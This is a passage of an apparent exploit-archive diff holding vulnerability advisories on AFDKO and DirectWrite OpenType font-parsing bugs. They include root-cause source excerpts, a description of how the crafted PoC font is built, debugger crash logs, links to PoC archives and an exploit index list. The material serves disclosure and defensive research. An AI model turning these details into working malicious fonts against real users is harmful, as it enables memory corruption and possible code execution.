The index.count field is of type "unsigned long", and on platforms where it is 32-bit wide (Linux x86, Windows x86/x64), it can be fully controlled by input CFF2 fonts. In line 1791, the field is used to set the length of the h->glyphs array. Please note that a value of 0x80000000 or greater becomes negative when cast to long, which is the parameter type of dnaSET_CNT (or rather the underlying dnaSetCnt). As previously discussed, a negative new length doesn't change the state of the array, so h->glyphs remains empty. However, the loop in line 1794 operates on unsigned numbers, so it will attempt to perform 2 billion or more iterations, trying to write to h->glyphs.array[0, ...]. The first access to h->glyphs.array[0] inside of abfInitGlyphInfo() will trigger an exception.
|
||||
|
||||
As a side note, in readCharStringsINDEX(), if the index loaded in line 1788 is empty (i.e. index.count == 0), then other fields in the structure such as index.offset or index.offSize are left uninitialized. They are, however, unconditionally used in lines 1792 and 1793 to seek in the data stream and potentially read some bytes. This doesn't seem to have any major effect on the program state, so it is only reported here as FYI.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
There are three proof of concept files, poc_buildGIDNames.otf, poc_addID.otf and poc_readCharStringsINDEX.otf, which trigger crashes in the corresponding functions.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_buildGIDNames.otf crashes in the following way:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
|
||||
1918 h->post.fmt2.strings.array[0] = p;
|
||||
|
||||
(gdb) print h->post.fmt2.strings
|
||||
$1 = {ctx = 0x6020000000d0, array = 0x32, cnt = 0, size = 0, incr = 200, func = 0x0}
|
||||
|
||||
(gdb) x/10i $rip
|
||||
=> 0x55694c <buildGIDNames+748>: mov %rcx,(%rax)
|
||||
0x55694f <buildGIDNames+751>: mov -0x18(%rbp),%rdx
|
||||
0x556953 <buildGIDNames+755>: add $0x1,%rdx
|
||||
0x556957 <buildGIDNames+759>: add -0x10(%rbp),%rdx
|
||||
0x55695b <buildGIDNames+763>: mov %rdx,-0x10(%rbp)
|
||||
0x55695f <buildGIDNames+767>: movw $0x1,-0x22(%rbp)
|
||||
0x556965 <buildGIDNames+773>: movzwl -0x22(%rbp),%eax
|
||||
0x556969 <buildGIDNames+777>: mov %eax,%ecx
|
||||
0x55696b <buildGIDNames+779>: mov -0x20(%rbp),%rdx
|
||||
0x55696f <buildGIDNames+783>: mov %rcx,%rdi
|
||||
(gdb) info reg $rax
|
||||
rax 0x32 50
|
||||
|
||||
(gdb) bt
|
||||
#0 0x000000000055694c in buildGIDNames (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1918
|
||||
#1 0x0000000000553d38 in postRead (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:1964
|
||||
#2 0x000000000053eeda in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2139
|
||||
#3 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
|
||||
at ../../../../../source/cffread/cffread.c:2789
|
||||
#4 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#5 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:429
|
||||
#6 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf46 "poc_buildGIDNames.otf") at ../../../../source/tx.c:488
|
||||
#7 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:558
|
||||
#8 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc40) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A 64-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_addID.otf crashes in the following way:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
|
||||
1846 info->gname.impl = id;
|
||||
|
||||
(gdb) print info
|
||||
$1 = (abfGlyphInfo *) 0x100
|
||||
|
||||
(gdb) x/10i $rip
|
||||
=> 0x55640d <addID+397>: mov %rcx,(%rax)
|
||||
0x556410 <addID+400>: mov -0x8(%rbp),%rdi
|
||||
0x556414 <addID+404>: movzwl -0x12(%rbp),%edx
|
||||
0x556418 <addID+408>: mov %edx,%esi
|
||||
0x55641a <addID+410>: callq 0x548c30 <sid2str>
|
||||
0x55641f <addID+415>: mov -0x20(%rbp),%rcx
|
||||
0x556423 <addID+419>: add $0x8,%rcx
|
||||
0x556427 <addID+423>: mov %rcx,%rsi
|
||||
0x55642a <addID+426>: shr $0x3,%rsi
|
||||
0x55642e <addID+430>: cmpb $0x0,0x7fff8000(%rsi)
|
||||
(gdb) info reg $rax
|
||||
rax 0x110 272
|
||||
|
||||
(gdb) bt
|
||||
#0 0x000000000055640d in addID (h=0x62a000000200, gid=0, id=0) at ../../../../../source/cffread/cffread.c:1846
|
||||
#1 0x000000000053f2e9 in readCharset (h=0x62a000000200) at ../../../../../source/cffread/cffread.c:2172
|
||||
#2 0x00000000005299c8 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0)
|
||||
at ../../../../../source/cffread/cffread.c:2789
|
||||
#3 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#4 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:429
|
||||
#5 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf4e "poc_addID.otf") at ../../../../source/tx.c:488
|
||||
#6 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:558
|
||||
#7 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc50) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A 32-bit build of "tx" compiled with AddressSanitizer, started with ./tx -cff poc_readCharStringsINDEX.otf crashes in the following way:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
|
||||
124 info->flags = 0;
|
||||
|
||||
(gdb) print info
|
||||
$1 = (abfGlyphInfo *) 0x100
|
||||
|
||||
(gdb) x/10i $eip
|
||||
=> 0x846344e <abfInitGlyphInfo+94>: movw $0x0,(%eax)
|
||||
0x8463453 <abfInitGlyphInfo+99>: mov 0x8(%ebp),%ecx
|
||||
0x8463456 <abfInitGlyphInfo+102>: add $0x2,%ecx
|
||||
0x8463459 <abfInitGlyphInfo+105>: mov %ecx,%edx
|
||||
0x846345b <abfInitGlyphInfo+107>: shr $0x3,%edx
|
||||
0x846345e <abfInitGlyphInfo+110>: or $0x20000000,%edx
|
||||
0x8463464 <abfInitGlyphInfo+116>: mov (%edx),%bl
|
||||
0x8463466 <abfInitGlyphInfo+118>: cmp $0x0,%bl
|
||||
0x8463469 <abfInitGlyphInfo+121>: mov %ecx,-0x14(%ebp)
|
||||
0x846346c <abfInitGlyphInfo+124>: mov %bl,-0x15(%ebp)
|
||||
(gdb) info reg $eax
|
||||
eax 0x100 256
|
||||
|
||||
(gdb) bt
|
||||
#0 0x0846344e in abfInitGlyphInfo (info=0x100) at ../../../../../source/absfont/absfont.c:124
|
||||
#1 0x08190954 in readCharStringsINDEX (h=0xf3f00100, flags=0) at ../../../../../source/cffread/cffread.c:1798
|
||||
#2 0x081797b5 in cfrBegFont (h=0xf3f00100, flags=4, origin=0, ttcIndex=0, top=0xf570021c, UDV=0x0) at ../../../../../source/cffread/cffread.c:2769
|
||||
#3 0x08155d26 in cfrReadFont (h=0xf5700200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137
|
||||
#4 0x081556e0 in doFile (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:429
|
||||
#5 0x08152fca in doSingleFileSet (h=0xf5700200, srcname=0xffffcf3f "poc_readCharStringsINDEX.otf") at ../../../../source/tx.c:488
|
||||
#6 0x081469a7 in parseArgs (h=0xf5700200, argc=2, argv=0xffffcd78) at ../../../../source/tx.c:558
|
||||
#7 0x08142640 in main (argc=2, argv=0xffffcd78) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47102.zip
|
203
exploits/windows/dos/47103.txt
Normal file
203
exploits/windows/dos/47103.txt
Normal file
|
@ -0,0 +1,203 @@
|
|||
-----=====[ Background ]=====-----
|
||||
|
||||
AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.
|
||||
|
||||
At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification.
|
||||
|
||||
We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality.
|
||||
|
||||
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser.
|
||||
|
||||
-----=====[ Description ]=====-----
|
||||
|
||||
While fuzzing the standard "tx" AFDKO utility using a "tx -cff <input file> /dev/null" command, we have encountered multiple crashes in the CFF Writer (cfw) component of the FDK. These crashes are triggered in the cfwSindexAssignSID() function in the afdko/c/public/lib/source/cffwrite/cffwrite_sindex.c file:
|
||||
|
||||
--- cut ---
|
||||
158 /* Assign the next custom SID to the specified custom string. */
|
||||
159 SID cfwSindexAssignSID(cfwCtx g, SRI index) {
|
||||
160 sindexCtx h = g->ctx.sindex;
|
||||
161 if (index < STD_STR_CNT) {
|
||||
162 return index;
|
||||
163 } else {
|
||||
164 CustomRec *custom = &h->custom.array[index - STD_STR_CNT];
|
||||
165 if (custom->sid == SID_UNDEF) {
|
||||
166 custom->sid = h->nextid++;
|
||||
167 }
|
||||
168 return custom->sid;
|
||||
169 }
|
||||
170 }
|
||||
--- cut ---
|
||||
|
||||
In all cases, the exception is thrown in line 165, and is caused by an out-of-bounds access to h->custom.array[] due to the "index" argument being equal to 65535 (0xffff). The two different invocations of cfwSindexAssignSID() which trigger the crash are found in the cfwDictFillTop() function in cffwrite/cffwrite_dict.c (lines 520 and 522):
|
||||
|
||||
--- cut ---
|
||||
517 /* ROS */
|
||||
518 if (top->sup.flags & ABF_CID_FONT) {
|
||||
519 cfwDictSaveInt(dst,
|
||||
520 cfwSindexAssignSID(g, (SRI)top->cid.Registry.impl));
|
||||
521 cfwDictSaveInt(dst,
|
||||
522 cfwSindexAssignSID(g, (SRI)top->cid.Ordering.impl));
|
||||
523 cfwDictSaveInt(dst, top->cid.Supplement);
|
||||
524 cfwDictSaveOp(dst, cff_ROS);
|
||||
525 }
|
||||
--- cut ---
|
||||
|
||||
The cause of the problem is that the top->cid.Registry.impl and/or top->cid.Ordering.impl fields are set to 0xffff while executing the above code, and they are treated as valid indexes into h->custom.array, even though they contain the special marker values.
|
||||
|
||||
The "Registry" and "Ordering" strings are initialized when a cff_ROS operator is encountered while loading an input DICT structure in readDICT (cffread/cffread.c):
|
||||
|
||||
--- cut ---
|
||||
1287 case cff_ROS:
|
||||
1288 CHKUFLOW(3);
|
||||
1289 top->cid.Registry.ptr = sid2str(h, (SID)INDEX_INT(0));
|
||||
1290 top->cid.Ordering.ptr = sid2str(h, (SID)INDEX_INT(1));
|
||||
1291 top->cid.Supplement = INDEX_INT(2);
|
||||
1292 h->flags |= CID_FONT;
|
||||
1293 break;
|
||||
--- cut ---
|
||||
|
||||
Later on, these strings are added to the string index of the output font in cfwDictCopyTop (cffwrite/cffwrite_dict.c):
|
||||
|
||||
--- cut ---
|
||||
193 /* Add strings to index */
|
||||
194 addString(g, &dst->version);
|
||||
[...]
|
||||
204 addString(g, &dst->cid.Registry);
|
||||
205 addString(g, &dst->cid.Ordering);
|
||||
206 }
|
||||
--- cut ---
|
||||
|
||||
where addString() is defined as:
|
||||
|
||||
--- cut ---
|
||||
59 /* Add string to string index. */
|
||||
60 static void addString(cfwCtx g, abfString *str) {
|
||||
61 str->impl = cfwSindexAddString(g, str->ptr);
|
||||
62 }
|
||||
--- cut ---
|
||||
|
||||
where in turn cfwSindexAddString() is defined as (cffwrite/cffwrite_sindex.c):
|
||||
|
||||
--- cut ---
|
||||
99 /* Add string. If standard string return its SID, otherwise if in table return
|
||||
100 existing record index, else add to table and return new record index. If
|
||||
101 string is empty return SRI_UNDEF. */
|
||||
102 SRI cfwSindexAddString(cfwCtx g, char *string) {
|
||||
103 sindexCtx h = g->ctx.sindex;
|
||||
104 size_t index;
|
||||
105 StdRec *std;
|
||||
106
|
||||
107 if (string == NULL || *string == '\0') {
|
||||
108 return SRI_UNDEF; /* Reject invalid strings */
|
||||
109 }
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
As a result, it should be possible to set cid.Registry.impl and/or cid.Ordering.impl to SRI_UNDEF (0xffff) with non-existent or empty strings. The cfwEndFont() function attempts to protect against this situation by checking if the string pointers are not equal to ABF_UNSET_PTR:
|
||||
|
||||
--- cut ---
|
||||
1875 /* Validate CID data */
|
||||
1876 if (top->cid.Registry.ptr == ABF_UNSET_PTR ||
|
||||
1877 top->cid.Ordering.ptr == ABF_UNSET_PTR ||
|
||||
1878 top->cid.Supplement == ABF_UNSET_INT) {
|
||||
1879 return cfwErrBadDict;
|
||||
1880 }
|
||||
--- cut ---
|
||||
|
||||
However these checks are insufficient, as it is still possible to make cfwSindexAddString() return SRI_UNDEF for correctly initialized, but empty strings. This results in passing 0xffff as an argument to cfwSindexAssignSID(), which triggers out-of-bounds reads in lines 165 and 168 in cffwrite_sindex.c, and potentially an OOB write in line 166. Under specific conditions, this may lead to memory corruption and arbitrary code execution.
|
||||
|
||||
-----=====[ Proof of Concept ]=====-----
|
||||
|
||||
The CFF table inside the proof of concept poc.otf font has the strings "Adobe" and "Identity" (corresponding to the Registry and Ordering fields) modified to "\0dobe" and "\0dentity". As the strings appear to be empty to cfwSindexAddString(), the SRI_UNDEF value is returned and later passed to cfwSindexAssignSID(), which triggers a crash.
|
||||
|
||||
The font is also specially crafted to parse correctly with DirectWrite but trigger the bug in AFDKO. The original CFF2 table was left untouched, and another, modified CFF table from an external CID-keyed font was added with the tag "CFF ". This way, DirectWrite successfully loads the legitimate variable font, and AFDKO processes the modified version as the CFF table takes precedence over CFF2 due to the logic implemented in srcOpen() in afdko/c/public/lib/source/cffread/cffread.c.
|
||||
|
||||
-----=====[ Crash logs ]=====-----
|
||||
|
||||
A 64-bit build of "tx", started with ./tx -cff poc.otf crashes in the following way:
|
||||
|
||||
--- cut ---
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
|
||||
165 if (custom->sid == SID_UNDEF) {
|
||||
|
||||
(gdb) print custom
|
||||
$1 = (CustomRec *) 0x81cb40
|
||||
(gdb) print custom->sid
|
||||
Cannot access memory at address 0x81cb48
|
||||
(gdb) print index
|
||||
$2 = 65535
|
||||
|
||||
(gdb) x/10i $rip
|
||||
=> 0x424ac2 <cfwSindexAssignSID+98>: movzwl 0x8(%rax),%ecx
|
||||
0x424ac6 <cfwSindexAssignSID+102>: cmp $0xffff,%ecx
|
||||
0x424acc <cfwSindexAssignSID+108>: jne 0x424af3 <cfwSindexAssignSID+147>
|
||||
0x424ad2 <cfwSindexAssignSID+114>: mov -0x20(%rbp),%rax
|
||||
0x424ad6 <cfwSindexAssignSID+118>: mov 0x90(%rax),%cx
|
||||
0x424add <cfwSindexAssignSID+125>: mov %cx,%dx
|
||||
0x424ae0 <cfwSindexAssignSID+128>: add $0x1,%dx
|
||||
0x424ae4 <cfwSindexAssignSID+132>: mov %dx,0x90(%rax)
|
||||
0x424aeb <cfwSindexAssignSID+139>: mov -0x28(%rbp),%rax
|
||||
0x424aef <cfwSindexAssignSID+143>: mov %cx,0x8(%rax)
|
||||
(gdb) info reg $rax
|
||||
rax 0x81cb40 8506176
|
||||
|
||||
(gdb) bt
|
||||
#0 0x0000000000424ac2 in cfwSindexAssignSID (g=0x6fd890, index=65535) at ../../../../../source/cffwrite/cffwrite_sindex.c:165
|
||||
#1 0x0000000000421b94 in cfwDictFillTop (g=0x6fd890, dst=0x71b3f0, top=0x71b148, font0=0x7ffff75b9010, iSyntheticBase=-1)
|
||||
at ../../../../../source/cffwrite/cffwrite_dict.c:520
|
||||
#2 0x000000000041b6db in fillSet (h=0x6fdbd0) at ../../../../../source/cffwrite/cffwrite.c:1059
|
||||
#3 0x000000000041ae7c in cfwEndSet (g=0x6fd890) at ../../../../../source/cffwrite/cffwrite.c:2128
|
||||
#4 0x000000000047a79c in cff_EndSet (h=0x6f6010) at ../../../../../source/tx_shared/tx_shared.c:1076
|
||||
#5 0x000000000040533f in doSingleFileSet (h=0x6f6010, srcname=0x7fffffffdf1b "poc.otf")
|
||||
at ../../../../source/tx.c:489
|
||||
#6 0x0000000000402f59 in parseArgs (h=0x6f6010, argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:558
|
||||
#7 0x0000000000401df2 in main (argc=2, argv=0x7fffffffdc20) at ../../../../source/tx.c:1631
|
||||
(gdb)
|
||||
--- cut ---
|
||||
|
||||
A similar Microsoft Edge renderer process crash is also shown below:
|
||||
|
||||
--- cut ---
|
||||
(4c7c.2a54): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
DWrite!cfwSindexAssignSID+0x21:
|
||||
00007ffc`c59ea471 663984caccf3ffff cmp word ptr [rdx+rcx*8-0C34h],ax ds:000001b6`7296ed24=????
|
||||
|
||||
0:037> ? rcx
|
||||
Evaluate expression: 65535 = 00000000`0000ffff
|
||||
0:037> ? rdx
|
||||
Evaluate expression: 1883117648224 = 000001b6`728ef960
|
||||
|
||||
0:037> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000080`c43ab518 00007ffc`c59eb0e1 DWrite!cfwSindexAssignSID+0x21
|
||||
01 00000080`c43ab520 00007ffc`c59e01cd DWrite!cfwDictFillTop+0x179
|
||||
02 00000080`c43ab570 00007ffc`c59e219d DWrite!fillSet+0x61
|
||||
03 00000080`c43ab5e0 00007ffc`c59d2314 DWrite!cfwEndSet+0x51
|
||||
04 00000080`c43ab620 00007ffc`c596157a DWrite!AdobeCFF2Snapshot+0x23c
|
||||
05 00000080`c43abb20 00007ffc`c5960729 DWrite!FontInstancer::InstanceCffTable+0x212
|
||||
06 00000080`c43abd00 00007ffc`c596039a DWrite!FontInstancer::CreateInstanceInternal+0x249
|
||||
07 00000080`c43abf20 00007ffc`c5945a4e DWrite!FontInstancer::CreateInstance+0x192
|
||||
08 00000080`c43ac280 00007ffc`d4ae61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e
|
||||
09 00000080`c43ac310 00007ffc`d4ad9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f
|
||||
0a 00000080`c43ac430 00007ffc`b4465464 d2d1!dxc::CXpsPrintControl::Close+0xc8
|
||||
0b 00000080`c43ac480 00007ffc`b443fd30 edgehtml!CDXPrintControl::Close+0x44
|
||||
0c 00000080`c43ac4d0 00007ffc`b44448bd edgehtml!CTemplatePrinter::EndPrintD2D+0x5c
|
||||
0d 00000080`c43ac500 00007ffc`b431b995 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d
|
||||
0e 00000080`c43ac530 00007ffc`b3f79485 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45
|
||||
0f 00000080`c43ac570 00007ffc`b34344c1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25
|
||||
[...]
|
||||
--- cut ---
|
||||
|
||||
-----=====[ References ]=====-----
|
||||
|
||||
[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
|
||||
[2] https://github.com/adobe-type-tools/afdko
|
||||
[3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal
|
||||
[4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47103.zip
|
|
@ -6486,6 +6486,26 @@ id,file,description,date,author,type,platform,port
|
|||
47029,exploits/windows/dos/47029.txt,"Microsoft Windows Font Cache Service - Insecure Sections Privilege Escalation",2019-06-24,"Google Security Research",dos,windows,
|
||||
47038,exploits/multiple/dos/47038.txt,"Mozilla Spidermonkey - IonMonkey 'Array.prototype.pop' Type Confusion",2019-06-26,"Google Security Research",dos,multiple,
|
||||
47079,exploits/multiple/dos/47079.html,"Firefox 67.0.4 - Denial of Service",2019-07-09,"Tejas Ajay Naik",dos,multiple,
|
||||
47084,exploits/windows/dos/47084.txt,"Microsoft Windows - Font Subsetting DLL Heap-Based Out-of-Bounds Read in MergeFonts",2019-07-10,"Google Security Research",dos,windows,
|
||||
47085,exploits/multiple/dos/47085.js,"Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access",2019-07-10,"Google Security Research",dos,multiple,
|
||||
47086,exploits/windows/dos/47086.txt,"Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth",2019-07-10,"Google Security Research",dos,windows,
|
||||
47087,exploits/windows/dos/47087.txt,"Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative cubeStackDepth",2019-07-10,"Google Security Research",dos,windows,
|
||||
47088,exploits/windows/dos/47088.txt,"Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Negative nAxes",2019-07-10,"Google Security Research",dos,windows,
|
||||
47089,exploits/windows/dos/47089.txt,"Microsoft DirectWrite / AFDKO - Stack-Based Buffer Overflow in do_set_weight_vector_cube for Large nAxes",2019-07-10,"Google Security Research",dos,windows,
|
||||
47090,exploits/windows/dos/47090.txt,"Microsoft DirectWrite / AFDKO - Use of Uninitialized Memory While Freeing Resources in var_loadavar",2019-07-10,"Google Security Research",dos,windows,
|
||||
47091,exploits/windows/dos/47091.txt,"Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW",2019-07-10,"Google Security Research",dos,windows,
|
||||
47092,exploits/windows/dos/47092.txt,"Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray",2019-07-10,"Google Security Research",dos,windows,
|
||||
47093,exploits/windows/dos/47093.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readEncoding",2019-07-10,"Google Security Research",dos,windows,
|
||||
47094,exploits/windows/dos/47094.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readFDSelect",2019-07-10,"Google Security Research",dos,windows,
|
||||
47095,exploits/windows/dos/47095.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset",2019-07-10,"Google Security Research",dos,windows,
|
||||
47096,exploits/windows/dos/47096.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow Due to Integer Overflow in readTTCDirectory",2019-07-10,"Google Security Research",dos,windows,
|
||||
47097,exploits/windows/dos/47097.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Unbounded iFD",2019-07-10,"Google Security Research",dos,windows,
|
||||
47098,exploits/windows/dos/47098.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings",2019-07-10,"Google Security Research",dos,windows,
|
||||
47099,exploits/windows/dos/47099.txt,"Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling While Processing CFF Blend DICT Operator",2019-07-10,"Google Security Research",dos,windows,
|
||||
47100,exploits/windows/dos/47100.txt,"Microsoft DirectWrite / AFDKO - Out-of-Bounds Read in OpenType Font Handling Due to Undefined FontName Index",2019-07-10,"Google Security Research",dos,windows,
|
||||
47101,exploits/windows/dos/47101.txt,"Microsoft DirectWrite / AFDKO - Multiple Bugs in OpenType Font Handling Related to the _post_ Table",2019-07-10,"Google Security Research",dos,windows,
|
||||
47102,exploits/windows/dos/47102.txt,"Microsoft DirectWrite / AFDKO - NULL Pointer Dereferences in OpenType Font Handling While Accessing Empty dynarrays",2019-07-10,"Google Security Research",dos,windows,
|
||||
47103,exploits/windows/dos/47103.txt,"Microsoft DirectWrite / AFDKO - Heap-Based Out-of-Bounds Read/Write in OpenType Font Handling Due to Empty ROS Strings",2019-07-10,"Google Security Research",dos,windows,
|
||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||
|
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue